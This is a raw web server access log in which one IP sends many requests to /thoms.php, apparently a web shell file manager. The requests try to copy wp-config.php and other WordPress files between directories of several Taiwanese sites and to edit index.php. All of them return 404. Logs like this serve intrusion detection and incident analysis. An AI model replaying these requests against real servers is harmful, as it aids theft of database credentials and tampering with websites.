45.135.193.11 - - [11/Sep/2026:23:56:22 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:22 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:22 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:22 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:22 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:22 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:22 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:22 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:22 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:22 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:22 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:22 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:23 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?edit=index.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=index.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?edit=index.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=index.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ferror_log&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ferror_log&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ferror_log&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ferror_log&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
